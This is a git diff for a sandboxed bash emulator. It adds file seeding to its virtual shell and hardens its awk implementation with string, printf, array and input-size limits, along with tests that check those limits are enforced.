     }
   }
 
+  private async seedFiles(
+    overlayFs: OverlayFs,
+    files: Record<string, string> | undefined,
+  ): Promise<void> {
+    if (!files) return;
+    for (const [fileName, content] of Object.entries(files)) {
+      if (typeof content !== "string") {
+        throw new TypeError(`Invalid --files content for ${fileName}`);
+      }
+      const virtualPath = overlayFs.resolvePath("/", fileName);
+      await overlayFs.mkdir(path.posix.dirname(virtualPath), {
+        recursive: true,
+      });
+      await overlayFs.writeFile(virtualPath, content);
+    }
+  }
+
   private syncHistory(): void {
     // Sync local history to Bash's BASH_HISTORY for the history command
     const envObj = this.env.getEnv();
@@ -175,6 +195,7 @@ Reads from real filesystem, writes stay in memory (OverlayFs).
   }
 
   async run(): Promise<void> {
+    await this.initialization;
     if (this.isInteractive) {
       this.printWelcome();
       this.prompt();
@@ -231,6 +252,7 @@ writes stay in memory (copy-on-write).
 
 Options:
   --cwd <dir>         Set initial working directory (default: /)
+  --files <json-file> Seed copy-on-write files from a JSON object
   --network           Enable network access (disabled by default)
   --no-network        Disable network access (default)
   --help, -h          Show this help message
@@ -249,4 +271,7 @@ Example:
 // Main entry point
 const options = parseArgs();
 const shell = new VirtualShell(options);
-shell.run();
+void shell.run().catch((error) => {
+  console.error(`Error initializing virtual shell: ${getErrorMessage(error)}`);
+  process.exitCode = 1;
+});
diff --git a/packages/just-bash/src/commands/alias/alias.ts b/packages/just-bash/src/commands/alias/alias.ts
index f47fa33b..3a8f9086 100644
--- a/packages/just-bash/src/commands/alias/alias.ts
+++ b/packages/just-bash/src/commands/alias/alias.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const aliasHelp = {
@@ -12,10 +16,13 @@ const aliasHelp = {
 // Format: BASH_ALIASES_<name>=<value>
 const ALIAS_PREFIX = "BASH_ALIAS_";
 
-export const aliasCommand: Command = {
+export const aliasCommand: RuntimeCommand = {
   name: "alias",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(aliasHelp);
     }
@@ -72,10 +79,13 @@ export const aliasCommand: Command = {
   },
 };
 
-export const unaliasCommand: Command = {
+export const unaliasCommand: RuntimeCommand = {
   name: "unalias",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp({
         name: "unalias",
diff --git a/packages/just-bash/src/commands/awk/awk.allocation-limits.test.ts b/packages/just-bash/src/commands/awk/awk.allocation-limits.test.ts
new file mode 100644
index 00000000..8cb2912f
--- /dev/null
+++ b/packages/just-bash/src/commands/awk/awk.allocation-limits.test.ts
@@ -0,0 +1,98 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+describe("AWK prospective allocation limits", () => {
+  it.each([
+    ["width", `awk 'BEGIN { s=sprintf("%*s", 65, "x") }'`],
+    ["precision", `awk 'BEGIN { s=sprintf("%.*f", 65, 1) }'`],
+  ])("rejects dynamic printf %s before padding", async (_kind, script) => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 64 } });
+    const result = await bash.exec(script);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      `awk: printf ${_kind} limit exceeded (64 bytes)\n`,
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("bounds cumulative sprintf output, not only each directive", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 64 } });
+    const result = await bash.exec(
+      `awk 'BEGIN { s=sprintf("%40s%40s", "x", "y") }'`,
+    );
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "awk: formatted string size limit exceeded (64 bytes)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("rejects unsupported floating-point precision before the native formatter", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 1_000 } });
+    const result = await bash.exec(`awk 'BEGIN { s=sprintf("%.101f", 1) }'`);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "awk: printf floating-point precision limit exceeded (100 digits)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("bounds global substitution while producing replacements", async () => {
+    const target = "a".repeat(64);
+    const bash = new Bash({ executionLimits: { maxStringLength: 128 } });
+    const result = await bash.exec(
+      `awk 'BEGIN { s="${target}"; gsub(/a/, "xxx", s) }'`,
+    );
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("awk: string size limit exceeded (128 bytes)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("stops split before exceeding maxArrayElements", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 3 } });
+    const result = await bash.exec(
+      `awk 'BEGIN { split("a,b,c,d", values, ",") }'`,
+    );
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("awk: array element limit exceeded (3)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("charges input records against the AWK work limit", async () => {
+    const bash = new Bash({ executionLimits: { maxAwkIterations: 2 } });
+    const result = await bash.exec("awk '{ print }'", {
+      stdin: "one\ntwo\nthree\n",
+    });
+    expect(result.stdout).toBe("one\ntwo\n");
+    expect(result.stderr).toBe("awk: record limit exceeded (2)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("rejects record arrays before splitting beyond maxArrayElements", async () => {
+    const bash = new Bash({
+      files: { "/records": "one\ntwo\nthree\n" },
+      executionLimits: { maxArrayElements: 2 },
+    });
+    const result = await bash.exec("awk '{ print }' /records");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("awk: record array limit exceeded (2)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("does not retain all input files before processing", async () => {
+    const bash = new Bash({
+      files: {
+        "/first": "aaaaaaaaaaaaaaaaaaaa",
+        "/second": "bbbbbbbbbbbbbbbbbbbb",
+      },
+      executionLimits: { maxStringLength: 32 },
+    });
+    const result = await bash.exec("awk '{ print }' /first /second");
+    expect(result.stdout).toBe("aaaaaaaaaaaaaaaaaaaa\n");
+    expect(result.stderr).toBe(
+      "awk: aggregate input size limit exceeded (32 bytes)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+});
diff --git a/packages/just-bash/src/commands/awk/awk.getline.test.ts b/packages/just-bash/src/commands/awk/awk.getline.test.ts
index b7c0e5a4..2d50a16e 100644
--- a/packages/just-bash/src/commands/awk/awk.getline.test.ts
+++ b/packages/just-bash/src/commands/awk/awk.getline.test.ts
@@ -144,6 +144,15 @@ c`,
 });
 
 describe("awk command pipe getline", () => {
+  it("keeps command stream state outside user variables", async () => {
+    const env = new Bash();
+    const result = await env.exec(
+      `awk 'BEGIN { __cmd_echo="[]"; __cmdi_echo=99; r=("echo" | getline x); print r }'`,
+    );
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe("1\n");
+  });
+
   it("reads from command pipe into $0", async () => {
     const env = new Bash();
     const result = await env.exec(
diff --git a/packages/just-bash/src/commands/awk/awk2.ts b/packages/just-bash/src/commands/awk/awk2.ts
index 8df1c619..f5ff552b 100644
--- a/packages/just-bash/src/commands/awk/awk2.ts
+++ b/packages/just-bash/src/commands/awk/awk2.ts
@@ -1,10 +1,11 @@
 /**
- * AWK Command - New AST-based Implementation
+ * AWK RuntimeCommand - New AST-based Implementation
  *
  * This is the new implementation using proper lexer/parser/interpreter architecture.
  */
 
 import { decodeBytesToUtf8 } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
 import { mapToRecord } from "../../helpers/env.js";
 import { ExecutionLimitError } from "../../interpreter/errors.js";
 import { ConstantRegex, createUserRegex } from "../../regex/index.js";
@@ -13,8 +14,13 @@ import {
   awaitWithDefenseContext,
 } from "../../security/defense-context.js";
 import { SecurityViolationError } from "../../security/defense-in-depth-box.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 import type { AwkProgram } from "./ast.js";
 import {
   type AwkFileSystem,
@@ -34,10 +40,13 @@ const awkHelp = {
   ],
 };
 
-export const awkCommand2: Command = {
+export const awkCommand2: RuntimeCommand = {
   name: "awk",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     assertDefenseContext(ctx.requireDefenseContext, "awk", "execution entry");
     const withDefenseContext = <T>(
       phase: string,
@@ -99,11 +108,17 @@ export const awkCommand2: Command = {
     const files = args.slice(programIdx + 1);
 
     // Parse program
-    const parser = new AwkParser();
+    const parser = new AwkParser({
+      maxSourceLength: ctx.limits.maxStringLength,
+      maxTokens: ctx.limits.maxAwkParserTokens,
+      maxDepth: ctx.limits.maxAwkParserDepth,
+      maxOperations: ctx.limits.maxAwkParserOperations,
+    });
     let ast: AwkProgram;
     try {
       ast = parser.parse(program);
     } catch (e) {
+      rethrowFatalExecutionError(e);
       const msg = e instanceof Error ? e.message : String(e);
       return { stdout: "", stderr: `awk: ${msg}\n`, exitCode: 1 };
     }
@@ -138,8 +153,12 @@ export const awkCommand2: Command = {
     const execFn = ctx.exec;
     const runtimeCtx = createRuntimeContext({
       fieldSep,
-      maxIterations: ctx.limits?.maxAwkIterations,
-      maxOutputSize: ctx.limits?.maxStringLength,
+      maxIterations: ctx.limits.maxAwkIterations,
+      maxOutputSize: Math.min(
+        ctx.limits.maxStringLength,
+        ctx.limits.maxOutputSize,
+      ),
+      maxArrayElements: ctx.limits.maxArrayElements,
       fs: awkFs,
       cwd: ctx.cwd,
       // Wrap ctx.exec to match the expected signature for command pipe getline
@@ -206,27 +225,85 @@ export const awkCommand2: Command = {
         };
       }
 
-      // Collect file contents
-      interface FileData {
-        filename: string;
-        lines: string[];
-      }
-      const fileDataList: FileData[] = [];
+      const maxInputBytes = Math.min(
+        ctx.limits.maxInputBytes,
+        ctx.limits.maxStringLength,
+      );
+      const maxRecords = ctx.limits.maxArrayElements;
+      let aggregateInputBytes = 0;
+
+      const processInput = async (
+        filename: string,
+        content: string,
+      ): Promise<void> => {
+        const contentBytes = utf8ByteLength(content);
+        if (contentBytes > maxInputBytes - aggregateInputBytes) {
+          throw new ExecutionLimitError(
+            `aggregate input size limit exceeded (${maxInputBytes} bytes)`,
+            "string_length",
+          );
+        }
+        aggregateInputBytes += contentBytes;
+
+        let recordCount = content.length > 0 ? 1 : 0;
+        for (let index = 0; index < content.length; index++) {
+          if (content.charCodeAt(index) === 10) recordCount++;
+          if (recordCount > maxRecords + 1) {
+            throw new ExecutionLimitError(
+              `record array limit exceeded (${maxRecords})`,
+              "array_elements",
+            );
+          }
+        }
+
+        const lines = content.split("\n");
+        if (lines.length > 0 && lines[lines.length - 1] === "") lines.pop();
+        if (lines.length > maxRecords) {
+          throw new ExecutionLimitError(
+            `record array limit exceeded (${maxRecords})`,
+            "array_elements",
+          );
+        }
+
+        runtimeCtx.FILENAME = filename;
+        runtimeCtx.FNR = 0;
+        runtimeCtx.lines = lines;
+        runtimeCtx.lineIndex = -1;
+        runtimeCtx.shouldNextFile = false;
+
+        // Use while loop with lineIndex to support getline advancing the line
+        while (runtimeCtx.lineIndex < lines.length - 1) {
+          runtimeCtx.lineIndex++;
+          const activeLineIndex = runtimeCtx.lineIndex;
+          await withDefenseContext("line execution", () =>
+            interp.executeLine(lines[activeLineIndex]),
+          );
+          if (runtimeCtx.shouldExit || runtimeCtx.shouldNextFile) break;
+        }
+      };
 
       if (files.length > 0) {
         for (const file of files) {
+          let content: string;
           try {
             const filePath = ctx.fs.resolvePath(ctx.cwd, file);
-            const content = await withDefenseContext("input file read", () =>
-              ctx.fs.readFile(filePath),
+            const stat = await withDefenseContext("input file stat", () =>
+              ctx.fs.stat(filePath),
             );
-            const lines = content.split("\n");
-            if (lines.length > 0 && lines[lines.length - 1] === "") {
-              lines.pop();
+            if (stat.size > maxInputBytes - aggregateInputBytes) {
+              throw new ExecutionLimitError(
+                `aggregate input size limit exceeded (${maxInputBytes} bytes)`,
+                "string_length",
+              );
             }
-            fileDataList.push({ filename: file, lines });
+            content = await withDefenseContext("input file read", () =>
+              ctx.fs.readFile(filePath),
+            );
           } catch (e) {
-            if (e instanceof SecurityViolationError) {
+            if (
+              e instanceof SecurityViolationError ||
+              e instanceof ExecutionLimitError
+            ) {
               throw e;
             }
             return {
@@ -235,36 +312,17 @@ export const awkCommand2: Command = {
               exitCode: 1,
             };
           }
+          await withDefenseContext("input processing", () =>
+            processInput(file, content),
+          );
+          if (runtimeCtx.shouldExit) break;
         }
       } else {
         // awk parses fields with regex / FS — decode bytes to UTF-8 so
         // non-ASCII data isn't split mid-codepoint.
-        const lines = decodeBytesToUtf8(ctx.stdin).split("\n");
-        if (lines.length > 0 && lines[lines.length - 1] === "") {
-          lines.pop();
-        }
-        fileDataList.push({ filename: "", lines });
-      }
-
-      // Process each file
-      for (const fileData of fileDataList) {
-        runtimeCtx.FILENAME = fileData.filename;
-        runtimeCtx.FNR = 0;
-        runtimeCtx.lines = fileData.lines;
-        runtimeCtx.lineIndex = -1;
-        runtimeCtx.shouldNextFile = false;
-
-        // Use while loop with lineIndex to support getline advancing the line
-        while (runtimeCtx.lineIndex < fileData.lines.length - 1) {
-          runtimeCtx.lineIndex++;
-          const activeLineIndex = runtimeCtx.lineIndex;
-          await withDefenseContext("line execution", () =>
-            interp.executeLine(fileData.lines[activeLineIndex]),
-          );
-          if (runtimeCtx.shouldExit || runtimeCtx.shouldNextFile) break;
-        }
-
-        if (runtimeCtx.shouldExit) break;
+        await withDefenseContext("stdin processing", () =>
+          processInput("", decodeBytesToUtf8(ctx.stdin)),
+        );
       }
 
       // Execute END blocks (always run, even after exit - AWK semantics)
diff --git a/packages/just-bash/src/commands/awk/builtins.ts b/packages/just-bash/src/commands/awk/builtins.ts
index 9d1e0f5b..35a66d52 100644
--- a/packages/just-bash/src/commands/awk/builtins.ts
+++ b/packages/just-bash/src/commands/awk/builtins.ts
@@ -4,6 +4,10 @@
  * Implementation of AWK built-in functions for the AST-based interpreter.
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { utf8ByteLength } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import { createUserRegex, type UserRegex } from "../../regex/index.js";
 import type { AwkExpr } from "./ast.js";
 import type { AwkRuntimeContext } from "./interpreter/context.js";
@@ -35,6 +39,51 @@ function toAwkString(val: AwkValue): string {
   return String(val);
 }
 
+const DEFAULT_AWK_STRING_LIMIT = 10 * 1024 * 1024;
+
+function createAwkStringBuilder(maxBytes: number): BoundedStringBuilder {
+  return new BoundedStringBuilder(
+    maxBytes,
+    "awk string",
+    () =>
+      new ExecutionLimitError(
+        `string size limit exceeded (${maxBytes} bytes)`,
+        "string_length",
+      ),
+  );
+}
+
+function awkStringLimit(ctx: AwkRuntimeContext): number {
+  return ctx.maxOutputSize > 0 ? ctx.maxOutputSize : DEFAULT_AWK_STRING_LIMIT;
+}
+
+function boundedRegexReplace(
+  target: string,
+  regex: UserRegex,
+  shouldReplace: (matchNumber: number) => boolean,
+  replacer: (match: RegExpMatchArray) => string,
+  maxBytes: number,
+): { value: string; replacements: number } {
+  const output = createAwkStringBuilder(maxBytes);
+  let cursor = 0;
+  let matchNumber = 0;
+  let replacements = 0;
+  for (const match of regex.matchAll(target)) {
+    const index = match.index ?? 0;
+    matchNumber++;
+    output.append(target.slice(cursor, index));
+    if (shouldReplace(matchNumber)) {
+      output.append(replacer(match));
+      replacements++;
+    } else {
+      output.append(match[0]);
+    }
+    cursor = index + match[0].length;
+  }
+  output.append(target.slice(cursor));
+  return { value: output.build(), replacements };
+}
+
 /**
  * Extract a regex pattern from an AWK expression argument.
  * Handles both regex literals and string expressions.
@@ -184,13 +233,26 @@ async function awkSplit(
     sep = createUserRegex("\\s+");
   }
 
-  const parts = typeof sep === "string" ? str.split(sep) : sep.split(str);
+  const previousCount = Object.keys(ctx.arrays[arrayName] ?? {}).length;
+  const available =
+    ctx.maxArrayElements - ctx.arrayElementCount + previousCount;
+  const parts =
+    typeof sep === "string"
+      ? str.split(sep, available + 1)
+      : sep.split(str, available + 1);
+  if (parts.length > available) {
+    throw new ExecutionLimitError(
+      `array element limit exceeded (${ctx.maxArrayElements})`,
+      "array_elements",
+    );
+  }
 
   // Use null-prototype to prevent prototype pollution with user-controlled keys
   ctx.arrays[arrayName] = Object.create(null);
   for (let i = 0; i < parts.length; i++) {
     ctx.arrays[arrayName][String(i + 1)] = parts[i];
   }
+  ctx.arrayElementCount += parts.length - previousCount;
 
   return parts.length;
 }
@@ -208,12 +270,19 @@ async function awkSub(
   const target = getTargetValue(targetName, ctx);
 
   try {
-    const regex = createUserRegex(pattern);
-    const newTarget = regex.replace(target, createSubReplacer(replacement));
-    const changed = newTarget !== target ? 1 : 0;
-    applyTargetValue(targetName, newTarget, ctx);
-    return changed;
-  } catch {
+    const regex = createUserRegex(pattern, "g");
+    const replaced = boundedRegexReplace(
+      target,
+      regex,
+      (matchNumber) => matchNumber === 1,
+      (match) =>
+        createSubReplacement(replacement, match[0], awkStringLimit(ctx)),
+      awkStringLimit(ctx),
+    );
+    applyTargetValue(targetName, replaced.value, ctx);
+    return replaced.replacements;
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     return 0;
   }
 }
@@ -232,43 +301,51 @@ async function awkGsub(
 
   try {
     const regex = createUserRegex(pattern, "g");
-    const matches = regex.match(target);
-    const count = matches ? matches.length : 0;
-    const newTarget = regex.replace(target, createSubReplacer(replacement));
-    applyTargetValue(targetName, newTarget, ctx);
-    return count;
-  } catch {
+    const replaced = boundedRegexReplace(
+      target,
+      regex,
+      () => true,
+      (match) =>
+        createSubReplacement(replacement, match[0], awkStringLimit(ctx)),
+      awkStringLimit(ctx),
+    );
+    applyTargetValue(targetName, replaced.value, ctx);
+    return replaced.replacements;
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     return 0;
   }
 }
 
-function createSubReplacer(replacement: string): (match: string) => string {
-  return (match: string) => {
-    let result = "";
-    let i = 0;
-    while (i < replacement.length) {
-      if (replacement[i] === "\\" && i + 1 < replacement.length) {
-        const next = replacement[i + 1];
-        if (next === "&") {
-          result += "&";
-          i += 2;
-        } else if (next === "\\") {
-          result += "\\";
-          i += 2;
-        } else {
-          result += replacement[i + 1];
-          i += 2;
-        }
-      } else if (replacement[i] === "&") {
-        result += match;
-        i++;
+function createSubReplacement(
+  replacement: string,
+  match: string,
+  maxBytes: number,
+): string {
+  const result = createAwkStringBuilder(maxBytes);
+  let i = 0;
+  while (i < replacement.length) {
+    if (replacement[i] === "\\" && i + 1 < replacement.length) {
+      const next = replacement[i + 1];
+      if (next === "&") {
+        result.append("&");
+        i += 2;
+      } else if (next === "\\") {
+        result.append("\\");
+        i += 2;
       } else {
-        result += replacement[i];
-        i++;
+        result.append(replacement[i + 1]);
+        i += 2;
       }
+    } else if (replacement[i] === "&") {
+      result.append(match);
+      i++;
+    } else {
+      result.append(replacement[i]);
+      i++;
     }
-    return result;
-  };
+  }
+  return result.build();
 }
 
 async function awkMatch(
@@ -323,29 +400,37 @@ async function awkGensub(
 
     if (isGlobal) {
       const regex = createUserRegex(pattern, "g");
-      return regex.replace(target, (match, ...groups) =>
-        processGensub(
-          replacement,
-          match as string,
-          groups.slice(0, -2) as string[],
-        ),
-      );
+      return boundedRegexReplace(
+        target,
+        regex,
+        () => true,
+        (match) =>
+          processGensub(
+            replacement,
+            match[0],
+            match.slice(1),
+            awkStringLimit(ctx),
+          ),
+        awkStringLimit(ctx),
+      ).value;
     } else {
-      let count = 0;
       const regex = createUserRegex(pattern, "g");
-      return regex.replace(target, (match, ...groups) => {
-        count++;
-        if (count === occurrenceNum) {
-          return processGensub(
+      return boundedRegexReplace(
+        target,
+        regex,
+        (matchNumber) => matchNumber === occurrenceNum,
+        (match) =>
+          processGensub(
             replacement,
-            match as string,
-            groups.slice(0, -2) as string[],
-          );
-        }
-        return match as string;
-      });
+            match[0],
+            match.slice(1),
+            awkStringLimit(ctx),
+          ),
+        awkStringLimit(ctx),
+      ).value;
     }
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     return target;
   }
 }
@@ -354,41 +439,42 @@ function processGensub(
   replacement: string,
   match: string,
   groups: string[],
+  maxBytes: number,
 ): string {
-  let result = "";
+  const result = createAwkStringBuilder(maxBytes);
   let i = 0;
   while (i < replacement.length) {
     if (replacement[i] === "\\" && i + 1 < replacement.length) {
       const next = replacement[i + 1];
       if (next === "&") {
-        result += "&";
+        result.append("&");
         i += 2;
       } else if (next === "0") {
-        result += match;
+        result.append(match);
         i += 2;
       } else if (next >= "1" && next <= "9") {
         const idx = parseInt(next, 10) - 1;
-        result += groups[idx] || "";
+        result.append(groups[idx] || "");
         i += 2;
       } else if (next === "n") {
-        result += "\n";
+        result.append("\n");
         i += 2;
       } else if (next === "t") {
-        result += "\t";
+        result.append("\t");
         i += 2;
       } else {
-        result += next;
+        result.append(next);
         i += 2;
       }
     } else if (replacement[i] === "&") {
-      result += match;
+      result.append(match);
       i++;
     } else {
-      result += replacement[i];
+      result.append(replacement[i]);
       i++;
     }
   }
-  return result;
+  return result.build();
 }
 
 async function awkTolower(
@@ -411,7 +497,7 @@ async function awkToupper(
 
 async function awkSprintf(
   args: AwkExpr[],
-  _ctx: AwkRuntimeContext,
+  ctx: AwkRuntimeContext,
   evaluator: AwkEvaluator,
 ): Promise<string> {
   if (args.length === 0) return "";
@@ -420,7 +506,7 @@ async function awkSprintf(
   for (let i = 1; i < args.length; i++) {
     values.push(await evaluator.evalExpr(args[i]));
   }
-  return formatPrintf(format, values);
+  return formatPrintf(format, values, awkStringLimit(ctx));
 }
 
 // ─── Math Functions ─────────────────────────────────────────────
@@ -526,10 +612,27 @@ function unimplemented(name: string): AwkBuiltinFn {
 
 const MAX_PRINTF_WIDTH = 10000;
 
-export function formatPrintf(format: string, values: AwkValue[]): string {
+export function formatPrintf(
+  format: string,
+  values: AwkValue[],
+  maxBytes: number = DEFAULT_AWK_STRING_LIMIT,
+): string {
   let valueIdx = 0;
   let result = "";
+  let resultBytes = 0;
   let i = 0;
+  const maxFieldWidth = Math.min(MAX_PRINTF_WIDTH, maxBytes);
+  const append = (value: string): void => {
+    const bytes = utf8ByteLength(value);
+    if (bytes > maxBytes - resultBytes) {
+      throw new ExecutionLimitError(
+        `formatted string size limit exceeded (${maxBytes} bytes)`,
+        "string_length",
+      );
+    }
+    result += value;
+    resultBytes += bytes;
+  };
 
   while (i < format.length) {
     if (format[i] === "%" && i + 1 < format.length) {
@@ -580,11 +683,17 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
       if (format[j] === "*") {
         const widthVal = values[valueIdx++];
         const w = widthVal !== undefined ? Math.floor(Number(widthVal)) : 0;
+        if (!Number.isFinite(w) || !Number.isSafeInteger(w)) {
+          throw new ExecutionLimitError(
+            `printf width limit exceeded (${maxFieldWidth} bytes)`,
+            "string_length",
+          );
+        }
         if (w < 0) {
           flags += "-";
-          width = String(Math.min(-w, MAX_PRINTF_WIDTH));
+          width = String(-w);
         } else {
-          width = String(Math.min(w, MAX_PRINTF_WIDTH));
+          width = String(w);
         }
         j++;
       } else {
@@ -592,9 +701,11 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
           width += format[j++];
         }
       }
-      // Cap width to prevent memory bombs
-      if (width && parseInt(width, 10) > MAX_PRINTF_WIDTH) {
-        width = String(MAX_PRINTF_WIDTH);
+      if (width && parseInt(width, 10) > maxFieldWidth) {
+        throw new ExecutionLimitError(
+          `printf width limit exceeded (${maxFieldWidth} bytes)`,
+          "string_length",
+        );
       }
 
       if (format[j] === ".") {
@@ -602,21 +713,29 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
         // Handle * for precision
         if (format[j] === "*") {
           const precVal = values[valueIdx++];
-          precision = String(
-            Math.min(
-              precVal !== undefined ? Math.floor(Number(precVal)) : 0,
-              MAX_PRINTF_WIDTH,
-            ),
-          );
+          const parsedPrecision =
+            precVal !== undefined ? Math.floor(Number(precVal)) : 0;
+          if (
+            !Number.isFinite(parsedPrecision) ||
+            !Number.isSafeInteger(parsedPrecision)
+          ) {
+            throw new ExecutionLimitError(
+              `printf precision limit exceeded (${maxFieldWidth} bytes)`,
+              "string_length",
+            );
+          }
+          precision = parsedPrecision < 0 ? "" : String(parsedPrecision);
           j++;
         } else {
           while (j < format.length && /\d/.test(format[j])) {
             precision += format[j++];
           }
         }
-        // Cap precision to prevent memory bombs
-        if (precision && parseInt(precision, 10) > MAX_PRINTF_WIDTH) {
-          precision = String(MAX_PRINTF_WIDTH);
+        if (precision && parseInt(precision, 10) > maxFieldWidth) {
+          throw new ExecutionLimitError(
+            `printf precision limit exceeded (${maxFieldWidth} bytes)`,
+            "string_length",
+          );
         }
       }
 
@@ -642,7 +761,7 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
@@ -683,7 +802,7 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
@@ -692,6 +811,12 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
           let num = val !== undefined ? Number(val) : 0;
           if (Number.isNaN(num)) num = 0;
           const prec = precision ? parseInt(precision, 10) : 6;
+          if (prec > 100) {
+            throw new ExecutionLimitError(
+              "printf floating-point precision limit exceeded (100 digits)",
+              "string_length",
+            );
+          }
           let str = num.toFixed(prec);
           if (width) {
             const w = parseInt(width, 10);
@@ -701,7 +826,7 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
@@ -711,6 +836,12 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
           let num = val !== undefined ? Number(val) : 0;
           if (Number.isNaN(num)) num = 0;
           const prec = precision ? parseInt(precision, 10) : 6;
+          if (prec > 100) {
+            throw new ExecutionLimitError(
+              "printf floating-point precision limit exceeded (100 digits)",
+              "string_length",
+            );
+          }
           let str = num.toExponential(prec);
           if (spec === "E") str = str.toUpperCase();
           if (width) {
@@ -721,7 +852,7 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
@@ -731,6 +862,12 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
           let num = val !== undefined ? Number(val) : 0;
           if (Number.isNaN(num)) num = 0;
           const prec = precision ? parseInt(precision, 10) : 6;
+          if (prec > 100) {
+            throw new ExecutionLimitError(
+              "printf floating-point precision limit exceeded (100 digits)",
+              "string_length",
+            );
+          }
           const exp = num !== 0 ? Math.floor(Math.log10(Math.abs(num))) : 0;
           let str: string;
           if (num === 0) {
@@ -757,7 +894,7 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
@@ -788,7 +925,7 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
@@ -817,50 +954,50 @@ export function formatPrintf(format: string, values: AwkValue[]): string {
               str = str.padStart(w);
             }
           }
-          result += str;
+          append(str);
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
 
         case "c": {
           if (typeof val === "number") {
-            result += String.fromCharCode(val);
+            append(String.fromCharCode(val));
           } else {
-            result += String(val ?? "").charAt(0) || "";
+            append(String(val ?? "").charAt(0) || "");
           }
           if (positionalIdx === undefined) valueIdx++;
           break;
         }
 
         case "%":
-          result += "%";
+          append("%");
           break;
 
         default:
-          result += format.substring(i, j + 1);
+          append(format.substring(i, j + 1));
       }
       i = j + 1;
     } else if (format[i] === "\\" && i + 1 < format.length) {
       const esc = format[i + 1];
       switch (esc) {
         case "n":
-          result += "\n";
+          append("\n");
           break;
         case "t":
-          result += "\t";
+          append("\t");
           break;
         case "r":
-          result += "\r";
+          append("\r");
           break;
         case "\\":
-          result += "\\";
+          append("\\");
           break;
         default:
-          result += esc;
+          append(esc);
       }
       i += 2;
     } else {
-      result += format[i++];
+      append(format[i++]);
     }
   }
 
diff --git a/packages/just-bash/src/commands/awk/interpreter/context.ts b/packages/just-bash/src/commands/awk/interpreter/context.ts
index e53aad15..02013ade 100644
--- a/packages/just-bash/src/commands/awk/interpreter/context.ts
+++ b/packages/just-bash/src/commands/awk/interpreter/context.ts
@@ -52,12 +52,18 @@ export interface AwkRuntimeContext {
   // For getline support (current file)
   lines?: string[];
   lineIndex?: number;
+  /** Internal getline streams, isolated from the AWK variable namespace. */
